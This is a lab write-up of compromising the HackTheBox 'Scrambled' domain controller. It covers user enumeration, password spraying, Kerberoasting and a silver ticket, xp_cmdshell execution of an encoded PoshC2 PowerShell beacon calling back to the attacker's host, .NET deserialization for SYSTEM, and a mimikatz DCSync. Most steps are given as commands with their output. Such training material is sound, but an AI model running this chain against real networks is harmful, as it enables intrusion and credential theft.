Writeup
Overview¶
Scrambled machine was a Domain Controller which attracted me to walk through it. The attack scenario was interesting where it starts from hunting for domain users, pivoting into service accounts, .NET source code review and exploiting application using deserialization vulnerability. The box contains multiple pivoting points to reach the Domain Admin. However, I did not like that the NTLM authentication is disabled in the box, I had multiple issues while using Impacket's tools that took me time to solve those issues. In this blog, I'll demonstrate the attack scenario to Pwn this box with the help of PoshC2 framework. PoshC2 is very powerful tool for red teamers and can be customizable. However, because of the box doesn't have AV solution, I'll use the default profile/configuration of PoshC2.
Machine Info¶
Operating System | Difficulty | IP |
---|---|---|
Windows | Medium | 10.10.11.168 |
Walkthrough¶
Attack Scenario Diagram¶
Recon¶
nmap¶
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Scramble Corp Intranet
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2022-07-15 08:40:57Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA/domainComponent=scrm
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA/domainComponent=scrm
1433/tcp open ms-sql-s syn-ack Microsoft SQL Server 2019 15.00.2000.00; RTM
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA/domainComponent=scrm
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA/domainComponent=scrm
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| ms-sql-info:
| 10.10.11.168:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 42300/tcp): CLEAN (Timeout)
| Check 2 (port 40536/tcp): CLEAN (Timeout)
| Check 3 (port 9648/udp): CLEAN (Timeout)
| Check 4 (port 31813/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-07-15T08:41:43
|_ start_date: N/A
By looking into nmap
scan results, the ports 53, 389 and 636 are opened this indicates that the host is Domain Controller. Furthermore, the Domain Name is scrm.local
and the hostname is DC1.scrm.local
we have to add it to our hosts file. Another useful information from nmap
results we identified that the port 1433 is open which represent MSSQL
service.
Web Enumeration¶
Going through the web page /support.html
we will notice an alert which stats the following message:
Below the alert message, there is several web pages we can look into. By navigating into /salesorders.html
web page, we will notice a guidance of using Sales Orders App. From the guidance we can see a new port which is 4411.
Running nmap
will give us the following results. Nothing interesting beside that the port is open.
nmap 10.10.11.168 -sC -sV -vv -p 4411
PORT STATE SERVICE REASON VERSION
4411/tcp open found? syn-ack
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| SCRAMBLECORP_ORDERS_V1.0.3;
| FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
| SCRAMBLECORP_ORDERS_V1.0.3;
|_ ERROR_UNKNOWN_COMMAND;
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4411-TCP:V=7.91%I=7%D=7/15%Time=62D1288A%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.
SF:3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_ORDER
SF:S_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,"SCR
SF:AMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDERS_
SF:V1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNO
SF:WN_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n
SF:")%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TLS
SF:SessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SCRAM
SF:BLECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_V1\
SF:.0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(FourO
SF:hFourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND
SF:;\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_
SF:COMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%
SF:r(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,35,"
SF:SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LANDesk
SF:-RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCRAMB
SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r
SF:\n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D,"S
SF:CRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORDERS
SF:_V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r
SF:(ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n");
Also, we can run nc
.
nc 10.10.11.168 4411
SCRAMBLECORP_ORDERS_V1.0.3;
test
ERROR_UNKNOWN_COMMAND;
Going back to web pages, the web page /passwords.html
disclose useful information. Which is: we will reset your password to be the same as the username.
So now we know that if we attempt to reset a user password, the new password will be same as the username. From this information, let's try to hunt for users.
User Enumeration¶
Because it is Domain Controller we can enumerate valid Domain Users using Pre-Authentication.
Note
The Kerberos authentication protocol works with tickets in order to grant access. A ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can only be obtained by validating a first step named "pre-authentication" (except if that requirement is explicitly removed for some accounts, making them vulnerable to ASREProast. For further reading refer to this resource.
To enumerate the valid Domain Users I'll use Impacket's GetNPUsers
and shorter wordlist that can be found here. We can also use the wordlist /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt
but will take too much of time. To enumerate the valid Domain Users run the following command:
GetNPUsers.py scrm.local/ -no-pass -dc-ip 10.10.11.168 -usersfile A-ZSurnames.txt
Alternatively, we can use Kerbrute
which is faster because it is based in Golang. Kerbrute
can be downloaded from here
./kerbrute userenum -d scrm.local A-ZSurnames.txt --dc dc1.scrm.local
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 07/15/22 - Ronnie Flathers @ropnop
2022/07/15 05:36:26 > Using KDC(s):
2022/07/15 05:36:26 > dc1.scrm.local:88
2022/07/15 05:36:27 > [+] VALID USERNAME: ASMITH@scrm.local
2022/07/15 05:38:25 > [+] VALID USERNAME: JHALL@scrm.local
2022/07/15 05:38:39 > [+] VALID USERNAME: KSIMPSON@scrm.local
2022/07/15 05:38:47 > [+] VALID USERNAME: KHICKS@scrm.local
2022/07/15 05:40:25 > [+] VALID USERNAME: SJENKINS@scrm.local
Password Spray¶
After finding valid Domain Users, let's conduct password spray attacks using the username as password for each user. Here we can use smartbrute tool.
Bug
I had an issue during while solving the machine. NTLM authentication is disabled we can use kerberos authentication instead. The issue is when using tools such as crackmapexec
or impacket
sometime it will fail and does not give us any information.
To solve this issue use -k
flag to make use of kerberos authentication.
Enumerate SPNs¶
After obtaining valid creds, we might be able to enumerate SPNs account using Impacket's GetUserSPNs
. As I said before the NTLM authentication will not work we should use the flag -k
. Hence, I found an issue in GetUserSPNs
to solve this issue refer to this link.
GetUserSPNs.py scrm.local/ksimpson:'ksimpson' -dc-ip dc1.scrm.local -request -k
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------- ------ -------- -------------------------- -------------------------- ----------
MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 12:32:02.351452 2022-07-15 04:08:04.045229
MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-03 12:32:02.351452 2022-07-15 04:08:04.045229
[-] CCache file is not found. Skipping...
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$031a9fba52ac8c46413a559f05f2fe1f$befe1c8b7246da2c80a057ffeee4503106a0de5bca8f0cc81469e54c69e3be1ee7cbc3567e9990fabd32e653f1d3a4f9787d579b10c30c9913210a5452ed611721c44022973ba13731d075903a34d5ddca25a73067cd2013922cd89f6488c3af107775808b9b98d9f4ae07cf882a566e3c75653fcef9fc1c42b70358da3042992d7e94729a81596c6ef6d9e6ef51805379e7d639be2557117a9d12a84fb0aacb94733a41d26b3ffccc1d47ec4633fcec65557e3aa344a18d196b3cf9309af5f2a9ac1003beb68ff5d8d92da347b482631d3e894bedbbbca179a04ebf08c57d59c0a0a38cea9614d2ac4c23d296a25daf12532baa82239182d6f17fbccf6339576ceb67d14dde62ca081535e7bd50724628237043452619f06384886b32f12081911e929a05e3ec466e8c713186e00d3dc55e7f6f7342c05e314b633f4bd93b0f7fc19a05e23bd8edebfcae94d97379007439cddd73804d26cf525f13fe6f50c0e7c70cd3ebdf40ac9c2ed3a993aee2240bef32dd7fe6dcf0d8993c404eb6b658ba53ab914de5555ed978af147c12e1d3f53ae97185a041a3d7fea1bf89bf19e997ed0937fc1e13ab662734b0ce84b003735ba667bc40b6683c86357645a5a3db70711011776f6c4abf207bfc15630cb6733203fdd7af275791869c8d5388b1805e1eb64820da7cdac9d7333a49fc55b48b8bced8ad2d0b808b193f03279b40204a88e212c6b67c7027384b41150a8d794672aa6951c604f2d2f0c205365a20c7e16091ab51cdc80ab24373e4a76a43bef9094eae1560f0c6a167fc7a8b221cd317781a62c4d92b4f5e64c0de5ea8cefaf2db02d26575006750ceea095ec67af0630df7d2415fb77bdf782b2c5c37bbb80237afb031e5f234ed8f6b855c69fdfa0311c05cdd45d8c55817e17183c082f9094f6b36e908f1e5ab5d1dea8b6b182b0c1261bacaa4750042d0ee9cf6612b51013e0b7cfa05fa2cf8876a91698e652e36d374299ff22c98521c73bc46b9b4c8368a70cb6c33934fa0bcbc75bbd145dde1201f91f8465b8605bdbab21364b8dd60b1c00c63f7a3c09a6b5d2bbce1874a34289a47b627e81f220a506fcee5da9173b4d0b44cbc6bfea99e0704345a617ad48ce60b8a4578261d069995888de9a587220c5ee60757c5e4a7b1551349299dab8f084c21a8d85ed896f886c8087ece4e0ba3ceeef0a81527d48f6410c90147dd2b424cfb9283814210f697f9a71e08b5e2a942c814b8007f8b2e893527f0be18313cc11515d600c7945b66a6db9d90189d03d0560cb6f0bd146b151e88fd6dfedd6f858f39be7a00b7b5b9369a9f5bb31b6189a76e4fa3b0ee891409776f171f4382c95a3d9ed6ef815e274015daaae6045a674ef481e0aef48b805ab3ef5c1c42bcea8562c28cdbe466dcdb4cc379ae998a4c01378c42a5651f
Now we retrieve the TGS of the SPN account sqlsvc
, we can use hashcat
to crack the TGS ticket.
hashcat -a 0 -m 13100 sqlsvc-spn /usr/share/wordlists/rockyou.txt --force
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$031a9fba52ac8c46413a559f05f2fe1f$befe1c8b7246da2c80a057ffeee4503106a0de5bca8f0cc81469e54c69e3be1ee7cbc3567e9990fabd32e653f1d3a4f9787d579b10c30c9913210a5452ed611721c44022973ba13731d075903a34d5ddca25a73067cd2013922cd89f6488c3af107775808b9b98d9f4ae07cf882a566e3c75653fcef9fc1c42b70358da3042992d7e94729a81596c6ef6d9e6ef51805379e7d639be2557117a9d12a84fb0aacb94733a41d26b3ffccc1d47ec4633fcec65557e3aa344a18d196b3cf9309af5f2a9ac1003beb68ff5d8d92da347b482631d3e894bedbbbca179a04ebf08c57d59c0a0a38cea9614d2ac4c23d296a25daf12532baa82239182d6f17fbccf6339576ceb67d14dde62ca081535e7bd50724628237043452619f06384886b32f12081911e929a05e3ec466e8c713186e00d3dc55e7f6f7342c05e314b633f4bd93b0f7fc19a05e23bd8edebfcae94d97379007439cddd73804d26cf525f13fe6f50c0e7c70cd3ebdf40ac9c2ed3a993aee2240bef32dd7fe6dcf0d8993c404eb6b658ba53ab914de5555ed978af147c12e1d3f53ae97185a041a3d7fea1bf89bf19e997ed0937fc1e13ab662734b0ce84b003735ba667bc40b6683c86357645a5a3db70711011776f6c4abf207bfc15630cb6733203fdd7af275791869c8d5388b1805e1eb64820da7cdac9d7333a49fc55b48b8bced8ad2d0b808b193f03279b40204a88e212c6b67c7027384b41150a8d794672aa6951c604f2d2f0c205365a20c7e16091ab51cdc80ab24373e4a76a43bef9094eae1560f0c6a167fc7a8b221cd317781a62c4d92b4f5e64c0de5ea8cefaf2db02d26575006750ceea095ec67af0630df7d2415fb77bdf782b2c5c37bbb80237afb031e5f234ed8f6b855c69fdfa0311c05cdd45d8c55817e17183c082f9094f6b36e908f1e5ab5d1dea8b6b182b0c1261bacaa4750042d0ee9cf6612b51013e0b7cfa05fa2cf8876a91698e652e36d374299ff22c98521c73bc46b9b4c8368a70cb6c33934fa0bcbc75bbd145dde1201f91f8465b8605bdbab21364b8dd60b1c00c63f7a3c09a6b5d2bbce1874a34289a47b627e81f220a506fcee5da9173b4d0b44cbc6bfea99e0704345a617ad48ce60b8a4578261d069995888de9a587220c5ee60757c5e4a7b1551349299dab8f084c21a8d85ed896f886c8087ece4e0ba3ceeef0a81527d48f6410c90147dd2b424cfb9283814210f697f9a71e08b5e2a942c814b8007f8b2e893527f0be18313cc11515d600c7945b66a6db9d90189d03d0560cb6f0bd146b151e88fd6dfedd6f858f39be7a00b7b5b9369a9f5bb31b6189a76e4fa3b0ee891409776f171f4382c95a3d9ed6ef815e274015daaae6045a674ef481e0aef48b805ab3ef5c1c42bcea8562c28cdbe466dcdb4cc379ae998a4c01378c42a5651f:Pegasus60
We cracked sqlsvc
's password which is: Pegasus60
. As seen previously the service account sqlsvc
is allowed to access MSSQL
service.
Enumerate Shares¶
Because of NTLM authentication is disabled we will use kerberos as authetication protocol. To do this, we can export user's ticket using Impacket's GetTGT
:
getTGT.py scrm.local/ksimpson:'ksimpson'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in ksimpson.ccache
The Domain User ksimpson
's ticket is exported in the file ksimpsone.ccache
. Then, we have to save the exported ticket in the variable KRB5CCNAME
in order to use the flag -k
.
export KRB5CCNAME='ksimpson.ccache'
Now we can access shared folders for the Domain User ksimpson
:
impacket-smbclient scrm.local/ksimpson@dc1.scrm.local -k -no-pass
# shares
ADMIN$
C$
HR
IPC$
IT
NETLOGON
Public
Sales
SYSVOL
# use public
# ls
drw-rw-rw- 0 Thu Nov 4 18:23:19 2021 .
drw-rw-rw- 0 Thu Nov 4 18:23:19 2021 ..
-rw-rw-rw- 630106 Fri Nov 5 13:45:07 2021 Network Security Changes.pdf
# get Network Security Changes.pdf
# exit
From Public
shared folder we identify a document that contains:
After reading the letter we verified that the NTLM authentication is disabled in the machine.
Access MSSQL¶
What we can do now is access MSSQL service using sqlsvc
service account via kerberos authentication. To do that, first we have to request for Ticket-Granting Service (TGS) ticket that will allows us to access the MSSQL service, or let's say we conduct silver ticket attack. Before we do that, we have to know SID of the domain. We can run SecretDump
with the flag -debug
:
secretsdump scrm.local/ksimpson@dc1.scrm.local -k -no-pass -debug
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[+] Impacket Library Installation Path: /home/kali/.local/lib/python3.9/site-packages/impacket
[+] Using Kerberos Cache: ksimpson.ccache
...
[+] Calling DRSCrackNames for S-1-5-21-2743207045-1827831105-2542523200-500
...
From the SecretDump
output, the SID for the Domain SCRM.LOCAL is: S-1-5-21-2743207045-1827831105-2542523200
. I removed 500 because it is represents the Domain Administrator.
Furthermore, to conduct the attack the NTLM hash of the service account sqlsvc
is required. We can convert the password of the service account sqlsvc
to NTLM hash using Python.
import hashlib, binascii
hash = hashlib.new('md4', "Pegasus60".encode('utf-16le')).digest()
print(binascii.hexlify(hash))
sqlsvc
NTLM hash is: b999a16500b87d17ec7f2e2a68778f05
Now we will use Impacket's ticket
to generate TGS that will allow us to access MSSQL service:
ticketer.py -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -nthash b999a16500b87d17ec7f2e2a68778f05 -domain scrm.local -spn MSSQLSvc/dc1.scrm.local administrator
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for scrm.local/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in administrator.ccache
The TGS ticket saved in the file administrator.ccache
we have to save it in the variable KRB5CCACHENAME
:
export KRB5CCNAME='administrator.ccache'
Now we can access MSSQL:
impacket-mssqlclient dc1.scrm.local -dc-ip 10.10.11.168 -k -no-pass
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC1): Line 1: Changed database context to 'master'.
[*] INFO(DC1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
After obtaining access into MSSQL, the first thing we can do is enable xp_cmdshell
to allow us to execute commands:
SQL> enable_xp_cmdshell
[*] INFO(DC1): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC1): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL>
disable_xp_cmdshell enable_xp_cmdshell exit help lcd shell xp_cmdshell
SQL> xp_cmdshell whoami
output
--------------------------------------------------------------------------------
scrm\sqlsvc
NULL
SQL>
Configuring PoshC2¶
First of all, create a new project and name it as you want. I'll name it as htb
.
posh-project htb
Then, configure the newly created profile.
posh-config
Go to the 14th line and point the value of PayloadCommsHost
to your VPN IP.
PayloadCommsHost: "https://<your_vpn_ip>"
Start the PoshC2 server by typing
sudo posh-server
In another windows connect the team server
posh -u user1
Now we have two windows. At the left is the team server and at the right is the user terminal. To make use of the C2 we should drop our beacon or payload into the box usually we have command execution in the box. There is a lots of payloads types that PoshC2 generates such as Powershell reverse shell
, Dlls
,EXEs
, Macros
, DotNet2JS
or even HTAs
which can be used in phishing campaigns.
Obtaining Access¶
As I said PoshC2 have generated several payloads types, as demonstration we can use powershell oneliner. Run this command in MSSQL.
SQL> xp_cmdshell powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgB....FMA
After running this command in MSSQL we will receive a new implant in our C2.
Team server window:
Operation window:
If we execute the command help
we can do many useful operations such as: Active Directory enumeration, lateral movement, privilege escalation and many.
As an example, let's enumerate domain objects ACLs:
SCRM\sqlsvc @ DC1 (PID:5948)
PS 1> invoke-aclscanner
# teamserver:
Task 00003 (user1) returned against implant 1 on host SCRM\sqlsvc @ DC1 (2022-07-15 07:56:23)
ObjectDN : DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=scrm,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete,
GenericWrite, WriteDacl, WriteOwner
ObjectAceType : None
AceFlags : ContainerInherit, Inherited
AceType : AccessAllowed
InheritanceFlags : ContainerInherit
SecurityIdentifier : S-1-5-21-2743207045-1827831105-2542523200-1101
IdentityReferenceName : DnsAdmins
IdentityReferenceDomain : scrm.local
IdentityReferenceDN : CN=DnsAdmins,CN=Users,DC=scrm,DC=local
IdentityReferenceClass : group
ObjectDN : DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=scrm,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete,
GenericWrite, WriteDacl, WriteOwner
ObjectAceType : None
AceFlags : ContainerInherit, Inherited
AceType : AccessAllowed
InheritanceFlags : ContainerInherit
SecurityIdentifier : S-1-5-21-2743207045-1827831105-2542523200-1101
IdentityReferenceName : DnsAdmins
IdentityReferenceDomain : scrm.local
IdentityReferenceDN : CN=DnsAdmins,CN=Users,DC=scrm,DC=local
IdentityReferenceClass : group
Pivot to MiscSQL¶
Going back to MSSQL, enumerate the databases:
SQL> SELECT name FROM master.dbo.sysdatabases;
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
ScrambleHR
Enumerating the database ScrambleHR
tables disclose for us the table UserImport
SELECT * FROM SYSOBJECTS
The table UserImport
contains a Domain User creds:
SQL> select * from UserImport
LdapUser LdapPwd LdapDomain RefreshInterval IncludeGroups
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- --------------- -------------
MiscSvc ScrambledEggs9900 scrm.local 90 0
SQL>
The creds are MiscSvc:ScrambledEggs9900
we can test the validity of the obtained creds using PoshC2
PS 1> test-adcredential -domain scrm.local -user miscsvc -password ScrambledEggs9900
Team Server:
Task 00023 (user1) returned against implant 1 on host SCRM\sqlsvc @ DC1 (2022-07-15 08:23:53)
Username Password IsValid
-------- -------- -------
miscsvc ScrambledEggs9900 True
To pivot to the Domain User MiscSVC
run the following command in operations window:
$password = ConvertTo-SecureString "ScrambledEggs9900" -AsPlainText -Force
$creds = new-object system.management.automation.pscredential("scrm.local\miscsvc", $password)
invoke-command -computer . -scriptblock { <PoshC2 powershell oneliner payload> } -credential $creds
After running the commands we will receive new implant as the domain user miscsvc
Now we obtain access as miscsvc
Privilege Escalation¶
Enumerating Sales App¶
By enumerating the host, we will identifies executable application "Sales Order App" which is locate at: c:\shares\it\apps\Sales Order Client
.
We can download both files using PoshC2 by issuing the following command:
download-file "c:\shares\it\apps\Sales Order Client\ScrambleClient.exe"
download-file "c:\shares\it\apps\Sales Order Client\ScrambleLib.dll"
The download location is at: /var/poshc2/htb/downloads
.
Here I used dnSpy to decompile the .NET applications. I focused in the .dll. After enumerating the source code of ScrambleLib.dll
, found a function called UploadOrder
that takes the input and deserialize it. From the first code, we can identify that we can pass the string UPLOAD_ORDER
followed by simi-column followed by serialize object in base64 format. After passing this input the server will deserialize it and execute it.
public static string GetCodeFromMessageType(ScrambleNetRequest.RequestType MsgType)
{
if (ScrambleNetRequest._MessageTypeToCode == null)
{
ScrambleNetRequest._MessageTypeToCode = new Dictionary<ScrambleNetRequest.RequestType, string>();
ScrambleNetRequest._MessageTypeToCode.Add(ScrambleNetRequest.RequestType.CloseConnection, "QUIT");
ScrambleNetRequest._MessageTypeToCode.Add(ScrambleNetRequest.RequestType.ListOrders, "LIST_ORDERS");
ScrambleNetRequest._MessageTypeToCode.Add(ScrambleNetRequest.RequestType.AuthenticationRequest, "LOGON");
ScrambleNetRequest._MessageTypeToCode.Add(ScrambleNetRequest.RequestType.UploadOrder, "UPLOAD_ORDER");
}
return ScrambleNetRequest._MessageTypeToCode[MsgType];
public void UploadOrder(SalesOrder NewOrder)
{
try
{
Log.Write("Uploading new order with reference " + NewOrder.ReferenceNumber);
string text = NewOrder.SerializeToBase64();
Log.Write("Order serialized to base64: " + text);
ScrambleNetResponse scrambleNetResponse = this.SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.UploadOrder, text));
ScrambleNetResponse.ResponseType type = scrambleNetResponse.Type;
if (type != ScrambleNetResponse.ResponseType.Success)
{
throw new ApplicationException(scrambleNetResponse.GetErrorDescription());
}
Log.Write("Upload successful");
}
catch (Exception ex)
{
Log.Write("Error: " + ex.Message);
throw ex;
}
}
As verification we can pass the string UPLOAD_ORDER
followed by anything:
htb/downloads → nc 10.10.11.168 4411
SCRAMBLECORP_ORDERS_V1.0.3;
UPLOAD_ORDER
ERROR_GENERAL;Error deserializing sales order: Attempting to deserialize an empty stream.
UPLOAD_ORDER;1
ERROR_GENERAL;Error deserializing sales order: Invalid length for a Base-64 char array or string.
As we can see the server takes the string after the simi-column and attempt to deserialize it. We can abuse this to obtain command executing by passing serialized reverse shell command.
Now connect to Sales app server using netcat
and enter the deserialized string as below:
nc 10.10.11.168 4411
SCRAMBLECORP_ORDERS_V1.0.3;
UPLOAD_ORDER;AAEAAAD/////...
After short time we will receive a new implant as SYSTEM .
Finally, we can conduct DCSync towards the Domain Controller from PoshC2 using the following command:
invoke-mimikatz -command '"privilege::debug" "lsadump::dcsync /domain:scrm.local /all"'
Lesson Learned¶
-
Using PoshC2 as Command & Control for PT Operations.
-
User enumeration via pre-authetication.
-
Dealing with kerberos authentication to lateral movements and pivoting.
-
.NET source code review.
-
Deserialization attack.